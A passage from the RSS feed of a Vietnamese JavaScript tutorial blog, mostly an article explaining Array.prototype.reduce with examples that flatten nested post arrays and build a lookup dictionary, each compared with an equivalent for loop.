punctuation">(</span><span class="token parameter">singleLinkedList</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>singleLinkedList<span class="token punctuation">.</span>next<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">printReverseList</span><span class="token punctuation">(</span>singleLinkedList<span class="token punctuation">.</span>next<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>singleLinkedList<span class="token punctuation">.</span>value<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> </div> </div> </div>[email protected]<![CDATA[Ứng dụng của Reduce trong JavaScript]]><![CDATA[Trước khi bắt đầu, mình muốn bạn hiểu tại sao mình lại viết về phương thức Reduce trong JavaScript mà không phải là một phương thức nào khác. Bởi lẽ, reduce trong JS là một trong…]]>https://completejavascript.com/ung-dung-cua-reduce-javascript/https://completejavascript.com/ung-dung-cua-reduce-javascript/<![CDATA[Array]]><![CDATA[Kiểu dữ liệu]]>Sun, 11 Jun 2017 23:00:00 GMT<p>Trước khi bắt đầu, mình muốn bạn hiểu tại sao mình lại viết về phương thức Reduce trong JavaScript mà không phải là một phương thức nào khác.</p> <p>Bởi lẽ, reduce trong JS là một trong 3 phương thức quan trọng và thường <strong>sử dụng trong lập trình hàm</strong> - đó là <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map"><code>arr.map()</code></a>, <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter"><code>arr.filter()</code></a> và <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/Reduce"><code>arr.reduce()</code></a>.</p> <p>Việc sử dụng đúng <code>arr.reduce()</code> giúp code trở nên sáng sủa và ngắn gọn hơn rất nhiều.</p> <blockquote> <p>Có thể bạn quan tâm: <a href="/phuong-thuc-cua-mang-trong-javascript/">Các phương thức của mảng trong JavaScript</a>.</p> </blockquote> <h2 id="cú-pháp-của-reduce-trong-javascript" style="position:relative;"><a href="#c%C3%BA-ph%C3%A1p-c%E1%BB%A7a-reduce-trong-javascript" aria-label="cú pháp của reduce trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cú pháp của <code>reduce</code> trong JavaScript</h2> <p>JavaScript Reduce là một phương thức có sẵn của array, được sử dụng để gọi một <a href="/ham-la-gi-ham-trong-javascript/">hàm</a> lên các phần tử của <a href="/array-la-gi-array-trong-javascript/">mảng</a> (từ trái sang phải) với <strong>một biến tích lũy</strong>.</p> <p>Kết quả trả về là một giá trị duy nhất, ứng với biến tích lũy.</p> <p>Cú pháp của reduce trong JS:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">arr<span class="token punctuation">.</span><span class="token function">reduce</span><span class="token punctuation">(</span>callback<span class="token punctuation">[</span><span class="token punctuation">,</span> initialValue<span class="token punctuation">]</span><span class="token punctuation">)</span></code></pre></div> <p>Trong đó:</p> <ul> <li><code>callback</code>: là hàm được gọi với mỗi phần tử của mảng, gồm 4 tham số: <ul> <li><code>accumulator</code>: biến tích lũy, được trả về sau mỗi lần gọi hàm <code>callback</code>.</li> <li><code>currentValue</code>: phần tử của mảng đang được xử lý.</li> <li><code>currentIndex</code>: chỉ số của phần tử trong mảng đang được xử lý.</li> <li><code>array</code>: mảng hiện tại.</li> </ul> </li> <li><code>initialValue</code>: là giá trị khởi tạo cho biến tích lũy <code>accumulator</code> của hàm <code>callback</code> trong lần gọi đầu tiên. Nếu giá trị này <strong>không được cung cấp</strong> thì <strong>giá trị phần tử đầu tiên</strong> của mảng được sử dụng.</li> <li><strong>Giá trị trả về</strong>: chính là giá trị của <code>accumulator</code> sau lần gọi hàm <code>callback</code> cuối cùng.</li> </ul> <p>Trên đây là giới thiệu cơ bản về phương thức <code>arr.reduce()</code>. Tiếp theo, mình sẽ giới thiệu một số ứng dụng của Reduce trong JavaScript.</p> <h2 id="ứng-dụng-của-reduce-trong-javascript" style="position:relative;"><a href="#%E1%BB%A9ng-d%E1%BB%A5ng-c%E1%BB%A7a-reduce-trong-javascript" aria-label="ứng dụng của reduce trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Ứng dụng của Reduce trong JavaScript</h2> <p>Dưới đây là một số ứng cụng của Reduce trong JS.</p> <h3 id="chuyển-mảng-2-chiều-thành-mảng-1-chiều" style="position:relative;"><a href="#chuy%E1%BB%83n-m%E1%BA%A3ng-2-chi%E1%BB%81u-th%C3%A0nh-m%E1%BA%A3ng-1-chi%E1%BB%81u" aria-label="chuyển mảng 2 chiều thành mảng 1 chiều permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Chuyển mảng 2 chiều thành mảng 1 chiều</h3> <p>► <strong>Đặt vấn đề</strong></p> <p>Giả sử, mình có một mảng các chủ đề trên blog, với mỗi chủ đề lại chứa một mảng các bài viết như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> topics <span class="token operator">=</span> <span class="token punctuation">[</span> <span class="token punctuation">{</span> <span class="token literal-property property">topic</span><span class="token operator">:</span> <span class="token string">"ReactJS"</span><span class="token punctuation">,</span> <span class="token literal-property property">posts</span><span class="token operator">:</span> <span class="token punctuation">[</span> <span class="token punctuation">{</span> <span class="token literal-property property">postID</span><span class="token operator">:</span> <span class="token string">"id1"</span><span class="token punctuation">,</span> <span class="token literal-property property">title</span><span class="token operator">:</span> <span class="token string">"title1"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">postID</span><span class="token operator">:</span> <span class="token string">"id2"</span><span class="token punctuation">,</span> <span class="token literal-property property">title</span><span class="token operator">:</span> <span class="token string">"title2"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">topic</span><span class="token operator">:</span> <span class="token string">"Vue.js"</span><span class="token punctuation">,</span> <span class="token literal-property property">posts</span><span class="token operator">:</span> <span class="token punctuation">[</span> <span class="token punctuation">{</span> <span class="token literal-property property">postID</span><span class="token operator">:</span> <span class="token string">"id3"</span><span class="token punctuation">,</span> <span class="token literal-property property">title</span><span class="token operator">:</span> <span class="token string">"title3"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">postID</span><span class="token operator">:</span> <span class="token string">"id4"</span><span class="token punctuation">,</span> <span class="token literal-property property">title</span><span class="token operator">:</span> <span class="token string">"title4"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">;</span></code></pre></div> <p>Bây giờ, mình muốn có một <strong>mảng các bài viết</strong> để hiển thị thành một danh sách. Vậy mình phải làm sao?</p> <p>► <strong>Ứng dụng JavaScript Reduce để giải quyết vấn đề</strong></p> <p><strong>Cách đầu tiên</strong> mà mọi người thường suy nghĩ đến là sử dụng <a href="/vong-lap-trong-javascript/">vòng lặp for</a>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// khai báo mảng rỗng để lưu kết quả</span> <span class="token keyword">const</span> allPosts <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token comment">// duyệt mảng các topics</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> t <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> t <span class="token operator">&lt;</span> topics<span class="token punctuation">.</span>length<span class="token punctuation">;</span> t<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// lấy ra các posts với từng topic</span> <span class="token keyword">const</span> posts <span class="token operator">=</span> topics<span class="token punctuation">[</span>t<span class="token punctuation">]</span><span class="token punctuation">.</span>posts<span class="token punctuation">;</span> <span class="token comment">// sử dụng vòng lặp for để duyệt mảng posts</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> p <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> p <span class="token operator">&lt;</span> posts<span class="token punctuation">.</span>length<span class="token punctuation">;</span> p<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// lấy ra từng post</span> <span class="token keyword">const</span> post <span class="token operator">=</span> posts<span class="token punctuation">[</span>p<span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token comment">// push vào mảng kết quả</span> allPosts<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span>post<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token comment">// kết quả</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>allPosts<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">/* [ { postID: "id1", title: "title1" }, { postID: "id2", title: "title2" }, { postID: "id3", title: "title3" }, { postID: "id4", title: "title4" } ] */</span></code></pre></div> <p>Cách làm trên là suy nghĩ logic cơ bản của hầu hết mọi người. Vì đó là <strong>cách làm nguyên thủy</strong> - chỉ dựa vào vòng lặp <code>for</code>.</p> <p>Tuy nhiên, cách làm trên khá dài dòng. Thay vào đó, bạn có thể áp dụng reduce trong JS như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> allPosts <span class="token operator">=</span> topics<span class="token punctuation">.</span><span class="token function">reduce</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">acc<span class="token punctuation">,</span> cur</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token comment">// tại mỗi phần tử, lấy ra posts để chèn thêm vào mảng tích lũy</span> <span class="token comment">// sử dụng cú pháp spread ...</span> <span class="token keyword">return</span> <span class="token punctuation">[</span><span class="token operator">...</span>acc<span class="token punctuation">,</span> <span class="token operator">...</span>cur<span class="token punctuation">.</span>posts<span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Trong đó, <code>initialValue</code> là một mảng rỗng <code>[]</code> (tương đương với mảng <code>allPosts = []</code> ở trên).</p> <p>Và khi thực thi hàm <code>callback</code> với mỗi phần tử của mảng <code>topics</code> thì:</p> <ul> <li>Với lượt đầu tiên: <code>acc = []</code> và <code>cur</code> ứng với phần tử đầu tiên (về <code>ReactJS</code>) nên:</li> </ul> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// giá trị tích lũy là mảng rỗng</span> acc <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token comment">// phần tử đang duyệt là một mảng</span> cur<span class="token punctuation">.</span>posts <span class="token operator">=</span> <span class="token punctuation">[</span> <span class="token punctuation">{</span> <span class="token literal-property property">postID</span><span class="token operator">:</span> <span class="token string">'id1'</span><span class="token punctuation">,</span> <span class="token literal-property property">title</span><span class="token operator">:</span> <span class="token string">'title1'</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">postID</span><span class="token operator">:</span> <span class="token string">'id2'</span><span class="token punctuation">,</span> <span class="token literal-property property">title</span><span class="token operator">:</span> <span class="token string">'title2'</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">]</span> <span class="token comment">// thêm các posts của phần tử đang duyệt</span> <span class="token comment">// vào giá trị tích lũy hiện tại thành mảng mới</span> <span class="token comment">// rồi gán lại cho biến tích lũy acc</span> acc <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token operator">...</span>acc<span class="token punctuation">,</span> <span class="token operator">...</span>cur<span class="token punctuation">.</span>posts<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token punctuation">[</span> <span class="token punctuation">{</span> <span class="token literal-property property">postID</span><span class="token operator">:</span> <span class="token string">'id1'</span><span class="token punctuation">,</span> <span class="token literal-property property">title</span><span class="token operator">:</span> <span class="token string">'title1'</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">postID</span><span class="token operator">:</span> <span class="token string">'id2'</span><span class="token punctuation">,</span> <span class="token literal-property property">title</span><span class="token operator">:</span> <span class="token string">'title2'</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">]</span></code></pre></div> <ul> <li>Với lượt tiếp theo:</li> </ul> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// giá trị tích lũy hiện tại</span> acc <span class="token operator">=</span> <span class="token punctuation">[</span> <span class="token punctuation">{</span> <span class="token literal-property property">postID</span><span class="token operator">:</span> <span class="token string">'id1'</span><span class="token punctuation">,</span> <span class="token literal-property property">title</span><span class="token operator">:</span> <span class="token string">'title1'</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">postID</span><span class="token operator">:</span> <span class="token string">'id2'</span><span class="token punctuation">,</span> <span class="token literal-property property">title</span><span class="token operator">:</span> <span class="token string">'title2'</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">]</span> <span class="token comment">// phần tử đang duyệt</span> cur<span class="token punctuation">.</span>posts <span class="token operator">=</span> <span class="token punctuation">[</span> <span class="token punctuation">{</span> <span class="token literal-property property">postID</span><span class="token operator">:</span> <span class="token string">'id3'</span><span class="token punctuation">,</span> <span class="token literal-property property">title</span><span class="token operator">:</span> <span class="token string">'title3'</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">postID</span><span class="token operator">:</span> <span class="token string">'id4'</span><span class="token punctuation">,</span> <span class="token literal-property property">title</span><span class="token operator">:</span> <span class="token string">'title4'</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">]</span> <span class="token comment">// thêm các posts của phần tử đang duyệt</span> <span class="token comment">// vào giá trị tích lũy hiện tại thành mảng mới</span> <span class="token comment">// rồi gán lại cho biến tích lũy acc</span> acc <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token operator">...</span>acc<span class="token punctuation">,</span> <span class="token operator">...</span>cur<span class="token punctuation">.</span>posts<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token punctuation">[</span> <span class="token punctuation">{</span> <span class="token literal-property property">postID</span><span class="token operator">:</span> <span class="token string">'id1'</span><span class="token punctuation">,</span> <span class="token literal-property property">title</span><span class="token operator">:</span> <span class="token string">'title1'</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">postID</span><span class="token operator">:</span> <span class="token string">'id2'</span><span class="token punctuation">,</span> <span class="token literal-property property">title</span><span class="token operator">:</span> <span class="token string">'title2'</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">postID</span><span class="token operator">:</span> <span class="token string">'id3'</span><span class="token punctuation">,</span> <span class="token literal-property property">title</span><span class="token operator">:</span> <span class="token string">'title3'</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">postID</span><span class="token operator">:</span> <span class="token string">'id4'</span><span class="token punctuation">,</span> <span class="token literal-property property">title</span><span class="token operator">:</span> <span class="token string">'title4'</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">]</span></code></pre></div> <p><strong>Chú ý:</strong> cách viết <code>[...acc, ...cur.posts]</code> là cách ghép mảng sử dụng <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_syntax">cú pháp spread</a> <code>...</code>.</p> <p>Rõ ràng, nhờ ứng dụng của Reduce trong JavaScript mà code trở nên ngắn gọn hơn rất nhiều mà vẫn dễ hiểu.</p> <h3 id="chuyển-array-thành-object-theo-giá-trị-của-một-thuộc-tính" style="position:relative;"><a href="#chuy%E1%BB%83n-array-th%C3%A0nh-object-theo-gi%C3%A1-tr%E1%BB%8B-c%E1%BB%A7a-m%E1%BB%99t-thu%E1%BB%99c-t%C3%ADnh" aria-label="chuyển array thành object theo giá trị của một thuộc tính permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Chuyển array thành object theo giá trị của một thuộc tính</h3> <p>► <strong>Đặt vấn đề</strong></p> <p>Giả sử, mình có danh sách các bài viết như trên. Và mình muốn lấy tiêu đề bài viết (<code>title</code>) ứng với giá trị của một <code>postID</code> nào đó.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> posts <span class="token operator">=</span> <span class="token punctuation">[</span> <span class="token punctuation">{</span> <span class="token literal-property property">postID</span><span class="token operator">:</span> <span class="token string">"id1"</span><span class="token punctuation">,</span> <span class="token literal-property property">title</span><span class="token operator">:</span> <span class="token string">"title1"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">postID</span><span class="token operator">:</span> <span class="token string">"id2"</span><span class="token punctuation">,</span> <span class="token literal-property property">title</span><span class="token operator">:</span> <span class="token string">"title2"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">postID</span><span class="token operator">:</span> <span class="token string">"id3"</span><span class="token punctuation">,</span> <span class="token literal-property property">title</span><span class="token operator">:</span> <span class="token string">"title3"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">postID</span><span class="token operator">:</span> <span class="token string">"id4"</span><span class="token punctuation">,</span> <span class="token literal-property property">title</span><span class="token operator">:</span> <span class="token string">"title4"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">const</span> <span class="token function-variable function">getPost</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">postID<span class="token punctuation">,</span> posts</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token comment">// TODO: triển khai sau</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// Thực hiện truy vấn</span> <span class="token function">getPost</span><span class="token punctuation">(</span><span class="token string">"id1"</span><span class="token punctuation">,</span> posts<span class="token punctuation">)</span><span class="token punctuation">.</span>title<span class="token punctuation">;</span> <span class="token comment">// title1</span> <span class="token function">getPost</span><span class="token punctuation">(</span><span class="token string">"id2"</span><span class="token punctuation">,</span> posts<span class="token punctuation">)</span><span class="token punctuation">.</span>title<span class="token punctuation">;</span> <span class="token comment">// title2</span> <span class="token function">getPost</span><span class="token punctuation">(</span><span class="token string">"id3"</span><span class="token punctuation">,</span> posts<span class="token punctuation">)</span><span class="token punctuation">.</span>title<span class="token punctuation">;</span> <span class="token comment">// title3</span> <span class="token function">getPost</span><span class="token punctuation">(</span><span class="token string">"id4"</span><span class="token punctuation">,</span> posts<span class="token punctuation">)</span><span class="token punctuation">.</span>title<span class="token punctuation">;</span> <span class="token comment">// title4</span></code></pre></div> <p>Vậy mình phải làm sao đây?</p> <p>► <strong>Ứng dụng JavaScript Reduce để giải quyết vấn đề</strong></p> <p>Tiếp tục với cách suy nghĩ logic cơ bản là sử dụng vòng lặp <code>for</code>.</p> <p>Với mỗi bài viết, mình so sánh <code>postID</code> với giá trị cần tìm. Mình sẽ duyệt lần lượt từng phần tử cho đến khi <strong>tìm đúng bài viết</strong> thì thôi.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// hàm getPost</span> <span class="token keyword">const</span> <span class="token function-variable function">getPost</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">postID<span class="token punctuation">,</span> posts</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token comment">// dùng vòng lặp for để duyệt hết các bài viết</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> p <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> p <span class="token operator">&lt;</span> posts<span class="token punctuation">.</span>length<span class="token punctuation">;</span> p<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// lấy từng post</span> <span class="token keyword">const</span> post <span class="token operator">=</span> posts<span class="token punctuation">[</span>p<span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token comment">// so sánh postID của từng post với tham số postID truyền vào</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>post<span class="token punctuation">.</span>postID <span class="token operator">===</span> postID<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// nếu bằng thì trả về post hiện tại</span> <span class="token keyword">return</span> post<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token comment">// nếu không tìm thấy thì giá trị trả về mặc định là null</span> <span class="token keyword">return</span> <span class="token keyword">null</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <p>Đây cũng là một cách làm hay và dễ hiểu bởi cách <strong>suy nghĩ trực tiếp</strong> vào bài toán.</p> <p>Tuy nhiên, cách làm này có một vấn đề là: nếu mảng các bài viết không phải 4 phần tử mà là <strong>hàng nghìn, hàng triệu phần tử</strong> thì việc dùng vòng lặp <code>for</code> để duyệt mảng với mỗi lần truy vấn thật sự rất tốn thời gian - độ phức tạp thuật toán là <strong>O(N)</strong>.</p> <p>Cách giải quyết cho vấn đề trên là: xây dựng một <a href="/object-la-gi-object-trong-javascript/">object</a> để map mỗi <code>postID</code> với giá trị tương ứng của bài viết.</p> <p>Và khi đã có một object như vậy thì việc tìm kiếm sẽ vô cùng đơn giản.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// Object để map mỗi postID với mỗi post tương ứng</span> <span class="token keyword">const</span> dictionary <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">id1</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="token literal-property property">postID</span><span class="token operator">:</span> <span class="token string">"id1"</span><span class="token punctuation">,</span> <span class="token literal-property property">title</span><span class="token operator">:</span> <span class="token string">"title1"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token literal-property property">id2</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="token literal-property property">postID</span><span class="token operator">:</span> <span class="token string">"id2"</span><span class="token punctuation">,</span> <span class="token literal-property property">title</span><span class="token operator">:</span> <span class="token string">"title2"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token literal-property property">id3</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="token literal-property property">postID</span><span class="token operator">:</span> <span class="token string">"id3"</span><span class="token punctuation">,</span> <span class="token literal-property property">title</span><span class="token operator">:</span> <span class="token string">"title3"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token literal-property property">id4</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="token literal-property property">postID</span><span class="token operator">:</span> <span class="token string">"id4"</span><span class="token punctuation">,</span> <span class="token literal-property property">title</span><span class="token operator">:</span> <span class="token string">"title4"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">const</span> <span class="token function-variable function">getPost</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">postID<span class="token punctuation">,</span> dictionary</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> dictionary<span class="token punctuation">[</span>postID<span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// Thực hiện truy vấn</span> <span class="token function">getPost</span><span class="token punctuation">(</span><span class="token string">"id1"</span><span class="token punctuation">,</span> dictionary<span class="token punctuation">)</span><span class="token punctuation">.</span>title<span class="token punctuation">;</span> <span class="token comment">// title1</span> <span class="token function">getPost</span><span class="token punctuation">(</span><span class="token string">"id2"</span><span class="token punctuation">,</span> dictionary<span class="token punctuation">)</span><span class="token punctuation">.</span>title<span class="token punctuation">;</span> <span class="token comment">// title2</span> <span class="token function">getPost</span><span class="token punctuation">(</span><span class="token string">"id3"</span><span class="token punctuation">,</span> dictionary<span class="token punctuation">)</span><span class="token punctuation">.</span>title<span class="token punctuation">;</span> <span class="token comment">// title3</span> <span class="token function">getPost</span><span class="token punctuation">(</span><span class="token string">"id4"</span><span class="token punctuation">,</span> dictionary<span class="token punctuation">)</span><span class="token punctuation">.</span>title<span class="token punctuation">;</span> <span class="token comment">// title4</span></code></pre></div> <p>Vấn đề bây giờ là làm sao xây dựng được object <code>dictionary</code> như trên?</p> <p>Dĩ nhiên, bạn vẫn có thể sử dụng vòng lặp <code>for</code> như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// object để lưu map các post</span> <span class="token keyword">const</span> dictionary <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// duyệt các posts</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> p <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> p <span class="token operator">&lt;</span> posts<span class="token punctuation">.</span>length<span class="token punctuation">;</span> p<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// lấy ra post</span> <span class="token keyword">const</span> post <span class="token operator">=</span> posts<span class="token punctuation">[</span>p<span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token comment">// lấy ra postID</span> <span class="token keyword">const</span> postID <span class="token operator">=</span> post<span class="token punctuation">.</span>postID<span class="token punctuation">;</span> <span class="token comment">// map postID -> post</span> dictionary<span class="token punctuation">[</span>postID<span class="token punctuation">]</span> <span class="token operator">=</span> post<span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Khi ứng dụng reduce trong JS, cách làm sẽ <strong>ngắn gọn hơn</strong>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> dictionary <span class="token operator">=</span> posts<span class="token punctuation">.</span><span class="token function">reduce</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">acc<span class="token punctuation">,</span> cur</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token comment">// lấy ra postID của từng phần tử</span> <span class="token keyword">const</span> postID <span class="token operator">=</span> cur<span class="token punctuation">.</span>postID<span class="token punctuation">;</span> <span class="token comment">// sử dụng cú 